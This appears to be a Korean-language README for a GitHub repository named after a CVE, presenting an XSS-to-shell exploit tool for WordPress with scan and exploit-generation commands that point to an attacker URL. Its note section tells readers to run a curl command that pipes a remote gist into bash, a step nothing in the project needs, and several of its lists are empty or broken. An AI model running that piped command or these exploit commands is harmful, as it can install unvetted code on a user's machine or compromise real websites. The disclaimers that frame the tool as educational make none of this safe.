horkimhab/cve-2026-64638CVE-2026-64638 - 초안 또는 TODO
PayPal 또는 아래 QR 코드 스캔을 통해 이 프로젝트의 유지보수를 지원해 주세요.
이 프로젝트는 다음과 같은 안전하고 승인된 환경에서만 사용하세요:
예시 설정:
git clone <repository-url>
cd <repository-name>
# Project use python follow below
# Create a virtual environment
python -m venv venv
# Activate the virtual environment
# macOS / Linux
source venv/bin/activate
# Windows (Git Bash / WSL)
source venv/Scripts/activate
# Install requirments
pip install -r requirements.txt
사용 예시:
# 1. Scanning Mode - Detect Vulnerable WordPress Sites:
# Scan a single URL
python xss2shell.py scan http://wp-vm.local
# Scan targets from file (one URL per line)
python xss2shell.py scan targets.txt
# Scan with custom settings
python xss2shell.py scan targets.txt --workers 10 --output my_results.json
# 2. Exploit Generation Mode - Create Exploit HTML Files
# Generate exploit for single target
python xss2shell.py exploit http://wp-vm.local --attacker-url http://attacker-vm.local
# Generate exploits for multiple targets from file
python xss2shell.py exploit targets.txt --attacker-url http://attacker-vm.local --output-dir exploits/
# Specify admin username
python xss2shell.py exploit http://wp-vm.local --attacker-url http://attacker-vm.local --admin-user administrator
참고:
curl -fsSL https://gist.githubusercontent.com/HORKimhab/24c89ee9a86a42aac88381334f8bfe48/raw | bash -s -- -y를 실행해야 합니다.통제된 환경에서 사이버보안 개념을 학습, 테스트, 연구하기 위한 저장소입니다.
이 저장소는 교육 및 승인된 보안 연구 전용입니다.
사용자가 다음을 학습하도록 돕기 위해 설계되었습니다:
권한이 있는 환경에서만 이 저장소를 사용하세요. 예를 들어:
허가되지 않거나 불법적인 사용은 엄격히 금지됩니다.
저자와 기여자는 이 프로젝트로 인해 발생하는 어떠한 손해, 오용, 법적 문제 또는 손실에 대해 책임을 지지 않습니다.
이 저장소를 사용함으로써 다음 사항에 동의하게 됩니다:
이 프로젝트는 다음을 위해 사용됩니다:
책임 있는 공개(disclosure) 관행을 준수하고 모든 관련 법률을 따르시기 바랍니다.
책임 있는 취약점 공개 또는 협업을 원하시면 GitHub를 통해 저장소 관리자에게 연락하세요.